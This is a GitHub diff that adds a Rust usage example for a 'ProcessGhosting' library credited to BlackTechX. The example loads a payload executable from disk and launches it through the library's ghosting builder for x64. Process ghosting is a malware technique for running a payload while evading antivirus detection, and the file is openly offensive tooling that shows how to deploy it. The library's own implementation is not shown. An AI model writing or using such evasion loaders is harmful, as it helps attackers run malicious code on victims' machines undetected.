File tree Expand file tree Collapse file tree
Expand file tree Collapse file tree Original file line number Diff line number Diff line change 1+ //! Basic usage example for ProcessGhosting library
2+ //! Author: BlackTechX
3+
4+ use process_ghosting:: { GhostingBuilder , init} ;
5+
6+ fn main ( ) {
7+ // Initialize library (prints banner)
8+ init ( ) ;
9+
10+ println ! ( "[*] Basic Usage Example\n " ) ;
11+
12+ // Read payload from file
13+ let payload_path = "payload.exe" ;
14+
15+ match std:: fs:: read ( payload_path) {
16+ Ok ( payload) => {
17+ println ! ( "[+] Loaded payload: {} bytes" , payload. len( ) ) ;
18+
19+ // Execute ghosting
20+ let result = GhostingBuilder :: new ( & payload)
21+ . x64 ( ) // Target x64 architecture
22+ . with_logging ( ) // Enable verbose output
23+ . execute ( ) ;
24+
25+ match result {
26+ Ok ( _) => println ! ( "\n [+] Process ghosting completed successfully!" ) ,
27+ Err ( e) => eprintln ! ( "\n [-] Process ghosting failed: {}" , e) ,
28+ }
29+ }
30+ Err ( e) => {
31+ eprintln ! ( "[-] Failed to read payload file '{}': {}" , payload_path, e) ;
32+ eprintln ! ( " Please provide a valid PE executable." ) ;
33+ }
34+ }
35+ }
You can’t perform that action at this time.
0 commit comments